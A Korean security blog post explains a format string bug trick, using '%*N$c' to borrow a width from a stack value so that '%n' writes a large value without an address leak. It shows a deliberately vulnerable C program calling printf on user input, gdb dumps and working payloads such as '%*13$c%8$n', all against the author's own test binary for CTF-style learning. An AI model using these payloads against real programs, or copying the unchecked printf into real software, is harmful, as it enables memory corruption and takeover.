format string bug - 스택의 값을 출력 값으로 쓸 수 없을까?

2023. 7. 2. 01:37·Tips & theory
728x90
반응형

서론

최근에 format string bug 문제를 풀던 와중에,

스택의 값 자체를 쓸 수 있는 방법이 없을까 고민하다 정말 그 방법이 있다는 것을 알게되어 정리한다.

 

본론

간단히 예를 들어보자.

아래와 같이 코딩 후 컴파일하였다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
        char buf[100];
        read(0,buf,100);
        printf(buf);
}

더불어 format string bug가 발생한 직후에 break point를 걸고 스택의 값들을 보면 아래와 같다.

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7               
$rbx   : 0x007fffffffdea8  →  0x007fffffffe22c  →  "/home/kali/Downloads/test"
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x007fffffffdd20  →  "wyv3rn\n"
$rbp   : 0x007fffffffdd90  →  0x0000000000000001
$rsi   : 0x005555555592a0  →  "wyv3rn\n"
$rdi   : 0x007fffffffd7c0  →  0x007ffff7e1de70  →  <funlockfile+0> mov 0x88(%rdi), %rdi
$rip   : 0x00555555555178  →  <main+47> mov $0x0, %eax
$r8    : 0x55555557a000    
$r9    : 0x21001           
$r10   : 0x1000            
$r11   : 0x202             
$r12   : 0x0               
$r13   : 0x007fffffffdeb8  →  0x007fffffffe246  →  "CLUTTER_IM_MODULE=fcitx"
$r14   : 0x00555555557dd8  →  0x00555555555100  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd20│+0x0000: "wyv3rn\n"     ← $rsp
0x007fffffffdd28│+0x0008: 0x0000000000000000
0x007fffffffdd30│+0x0010: 0x0000000000000000
0x007fffffffdd38│+0x0018: 0x0000000000000000
0x007fffffffdd40│+0x0020: 0x0000000000000000
0x007fffffffdd48│+0x0028: 0x0000000000000000
0x007fffffffdd50│+0x0030: 0x0000000000000000
0x007fffffffdd58│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555516b <main+34>        mov    %rax, %rdi
   0x55555555516e <main+37>        mov    $0x0, %eax
   0x555555555173 <main+42>        call   0x555555555030 <printf@plt>
 → 0x555555555178 <main+47>        mov    $0x0, %eax
   0x55555555517d <main+52>        leave  
   0x55555555517e <main+53>        ret    
   0x55555555517f                  add    %cl, -0x7d(%rax)
   0x555555555182 <_fini+2>        in     (%dx), %al
   0x555555555183 <_fini+3>        or     %cl, -0x7d(%rax)
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x555555555178 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555178 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

여기서 offset은 아래와 같다.

gef➤  r
Starting program: /home/kali/Downloads/test 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%p.%p.%p.%p.%p.%p
0x7fffffffdd20.0x64.0x7ffff7ec40ed.(nil).0x7ffff7fcf6a0.0x70252e70252e7025

 

본론으로 가보자.

지금까지 기본적인 format string bug의 구조는

%100c%6$n

과 같은 방식이었다.

즉, 100을 6번째 오프셋에 있는 주소에 쓰겠다는 것이다.

여기서 100이라는 값을 꼭 직접 써줘야할까?

스택에 이미 있는 값을 참조로 사용하면 안될까?

그 방법이 아래와 같다.

%*20$c%6$n #c던 s던 p던 상관없다

 

예를 들어보자.

조금 더 보기 쉽게하기 위해서 코드를 변경하였다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(){
        char buf[10];
        read(0,buf,10);
        printf(buf);
}

int main(){
        vuln();
}

vuln 함수의 printf 직후 break point를 걸고 gdb로 보면 아래와 같다.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7               
$rbx   : 0x007fffffffdea8  →  0x007fffffffe22c  →  "/home/kali/Downloads/test"
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x007fffffffdd70  →  0x7977000000000000
$rbp   : 0x007fffffffdd80  →  0x007fffffffdd90  →  0x0000000000000001
$rsi   : 0x005555555592a0  →  "wyv3rn\n"
$rdi   : 0x007fffffffd810  →  0x007ffff7e1de70  →  <funlockfile+0> mov 0x88(%rdi), %rdi
$rip   : 0x00555555555178  →  <vuln+47> nop 
$r8    : 0x55555557a000    
$r9    : 0x21001           
$r10   : 0x1000            
$r11   : 0x202             
$r12   : 0x0               
$r13   : 0x007fffffffdeb8  →  0x007fffffffe246  →  "CLUTTER_IM_MODULE=fcitx"
$r14   : 0x00555555557dd8  →  0x00555555555100  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd70│+0x0000: 0x7977000000000000     ← $rsp
0x007fffffffdd78│+0x0008: 0x00000a6e723376 ("v3rn\n"?)
0x007fffffffdd80│+0x0010: 0x007fffffffdd90  →  0x0000000000000001        ← $rbp
0x007fffffffdd88│+0x0018: 0x00555555555189  →  <main+14> mov $0x0, %eax
0x007fffffffdd90│+0x0020: 0x0000000000000001
0x007fffffffdd98│+0x0028: 0x007ffff7df318a  →  <__libc_start_call_main+122> mov %eax, %edi
0x007fffffffdda0│+0x0030: 0x0000000000000000
0x007fffffffdda8│+0x0038: 0x0055555555517b  →  <main+0> push %rbp
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555516b <vuln+34>        mov    %rax, %rdi
   0x55555555516e <vuln+37>        mov    $0x0, %eax
   0x555555555173 <vuln+42>        call   0x555555555030 <printf@plt>
 → 0x555555555178 <vuln+47>        nop    
   0x555555555179 <vuln+48>        leave  
   0x55555555517a <vuln+49>        ret    
   0x55555555517b <main+0>         push   %rbp
   0x55555555517c <main+1>         mov    %rsp, %rbp
   0x55555555517f <main+4>         mov    $0x0, %eax
─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x555555555178 in vuln (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555178 → vuln()
[#1] 0x555555555189 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

이 때 stack은 아래와 같고

gef➤  x/40gx $rsp
0x7fffffffdd70: 0x7977000000000000      0x0000000a6e723376
0x7fffffffdd80: 0x00007fffffffdd90      0x0000555555555189
0x7fffffffdd90: 0x0000000000000001      0x00007ffff7df318a
0x7fffffffdda0: 0x0000000000000000      0x000055555555517b
0x7fffffffddb0: 0x0000000100000000      0x00007fffffffdea8
0x7fffffffddc0: 0x00007fffffffdea8      0x434d298e8073e916
0x7fffffffddd0: 0x0000000000000000      0x00007fffffffdeb8
0x7fffffffdde0: 0x0000555555557dd8      0x00007ffff7ffd020
0x7fffffffddf0: 0xbcb2d6713b31e916      0xbcb2c630e2f5e916
0x7fffffffde00: 0x0000000000000000      0x0000000000000000
0x7fffffffde10: 0x0000000000000000      0x00007fffffffdea8
0x7fffffffde20: 0x00007fffffffdea8      0xcdc9457ab78fcf00
0x7fffffffde30: 0x000000000000000d      0x00007ffff7df3245
0x7fffffffde40: 0x000055555555517b      0x0000555555557dd8
0x7fffffffde50: 0x0000000000000000      0x0000000000000000
0x7fffffffde60: 0x0000000000000000      0x0000555555555060
0x7fffffffde70: 0x00007fffffffdea0      0x0000000000000000
0x7fffffffde80: 0x0000000000000000      0x0000555555555081
0x7fffffffde90: 0x00007fffffffde98      0x0000000000000038
0x7fffffffdea0: 0x0000000000000001      0x00007fffffffe22c

유의미한 값만 조금 상세히 써보면 아래와 같다.

gef➤  x/40gx $rsp
0x7fffffffdd70: 0x7977000000000000(rsp)         0x0000000a6e723376
0x7fffffffdd80: 0x00007fffffffdd90(rbp addr)    0x0000555555555189(main+14 addr)
0x7fffffffdd90: 0x0000000000000001(rbp)         0x00007ffff7df318a(main ret = libc_start_main_ret)
0x7fffffffdda0: 0x0000000000000000              0x000055555555517b(main+0)
...

대충 작성한 코드라... 익스 구현은 조금 어렵고, 간단하게 0x00007fffffffdd90에 큰 값을 쓰는 것을 시연해보자.

예를 들어 해당 위치에 main+0 address의 뒷 4 byte인 0x5555517b를 쓴다고 가정하자.

통상적인 페이로드라면

%1431654779c%9$n

이 될 것이다.

하지만, 현재 buf 변수 크기는 10이고, 문자열 길이는 16이기에 삽입이 불가능하다.

 

하지만 오프셋을 이용해서 해당 위치에 값을 쓰면 아래와 같은 페이로드로 작성 가능하다.

%*13$c%8$n

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x55555181               
$rbx   : 0x007fffffffdea8  →  0x007fffffffe22c  →  "/home/kali/Downloads/test"
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x007fffffffdd70  →  0x2a25000000000000
$rbp   : 0x007fffffffdd80  →  0x007fffffffdd90  →  0x000000005555517b
$rsi   : 0x2
$rdi   : 0x007fffffffd810  →  0x007ffff7e1de70  →  <funlockfile+0> mov 0x88(%rdi), %rdi
$rip   : 0x00555555555178  →  <vuln+47> nop 
$r8    : 0x0    
$r9    : 0x0
$r10   : 0x1000            
$r11   : 0x0
$r12   : 0x0               
$r13   : 0x007fffffffdeb8  →  0x007fffffffe246  →  "CLUTTER_IM_MODULE=fcitx"
$r14   : 0x00555555557dd8  →  0x00555555555100  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd70│+0x0000: 0x2a25000000000000     ← $rsp
0x007fffffffdd78│+0x0008: 0x6e24382563243331
0x007fffffffdd80│+0x0010: 0x007fffffffdd90  →  0x000000005555517b ("{QUU"?)        ← $rbp
0x007fffffffdd88│+0x0018: 0x00555555555189  →  <main+14> mov $0x0, %eax
0x007fffffffdd90│+0x0020: 0x000000005555517b
0x007fffffffdd98│+0x0028: 0x007ffff7df318a  →  <__libc_start_call_main+122> mov %eax, %edi
0x007fffffffdda0│+0x0030: 0x0000000000000000
0x007fffffffdda8│+0x0038: 0x0055555555517b  →  <main+0> push %rbp
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555516b <vuln+34>        mov    %rax, %rdi
   0x55555555516e <vuln+37>        mov    $0x0, %eax
   0x555555555173 <vuln+42>        call   0x555555555030 <printf@plt>
 → 0x555555555178 <vuln+47>        nop    
   0x555555555179 <vuln+48>        leave  
   0x55555555517a <vuln+49>        ret    
   0x55555555517b <main+0>         push   %rbp
   0x55555555517c <main+1>         mov    %rsp, %rbp
   0x55555555517f <main+4>         mov    $0x0, %eax
─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x555555555178 in vuln (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555178 → vuln()
[#1] 0x555555555189 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

 

이렇게 작성하는 경우의 장점은 무엇보다 stack의 값을 가져다 쓰기 때문에 leak이 불필요하다는 점이다.

단점은 한번에 많은 값을 쓰기에 해당 값만큼 쓰는 동안 server disconnection 가능성이 있다는 점이다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Tips & theory' 카테고리의 다른 글

git certificate fail  (0) 2023.08.16
pip certificate error  (0) 2023.08.16
pwntools 64bit fmtstr_payload  (0) 2023.02.12
vscode 탐색기에서 불필요한 파일 숨기기  (0) 2023.02.12
Legendre Symbol - 르장드르 기호  (0) 2023.02.09
'Tips & theory' 카테고리의 다른 글
  • git certificate fail
  • pip certificate error
  • pwntools 64bit fmtstr_payload
  • vscode 탐색기에서 불필요한 파일 숨기기
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (505) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44) N
        • Solved (42) N
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Format String Bug
    BOF
    tcache
    la ctf
    pwntools
    exploit education
    vtable
    ROOT ME
    64bit
    dreamhack
    Me
    FSB
    heap
    RTL
    x64
    root-me
    32bit
    Buffer Overflow
    lob
    x86
    CANARY
    hackerschool
    cryptohack
    root
    phoenix
    libc
    rop
    pwnable.kr
    docker
    _IO_FILE
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
format string bug - 스택의 값을 출력 값으로 쓸 수 없을까?
상단으로

티스토리툴바